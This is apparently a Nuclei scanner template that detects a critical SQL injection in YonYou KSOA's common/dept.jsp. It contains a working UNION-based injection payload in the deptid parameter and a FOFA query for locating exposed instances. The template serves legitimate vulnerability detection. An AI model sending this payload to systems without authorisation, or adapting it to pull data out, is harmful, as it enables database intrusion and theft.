yonyou-ksoa-dept-sqli: YonYou KSOA common/dept.jsp - SQL injection

id: yonyou-ksoa-dept-sqli

info:
  name: YonYou KSOA common/dept.jsp - SQL injection
  author: DhiyaneshDK
  severity: critical
  description: |
    Yonyou KSOA contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://mp.weixin.qq.com/s/I6aG2vFIi5nbVZfuVNpyDw
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="用友-时空KSOA"
  tags: yonyou,oa,sqli,ksoa,vuln

variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/common/dept.jsp?deptid=1'+UNION+ALL+SELECT+60%2Csys.fn_sqlvarbasetostr(HASHBYTES('MD5'%2C'{{num}}'))--+"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '0x{{md5({{num}})}}'

      - type: status
        status:
          - 200
# digest: 490a004630440220408d2169f41702e068d8824769340acb018fdfad105643d98a8e4901c5cf39c5022076d0d2c6fb69d559986c1c68ee2ffe765c9b75ca2562efc9a85efbbf9f054d06:922c64590222798bb761d5b6d8e72950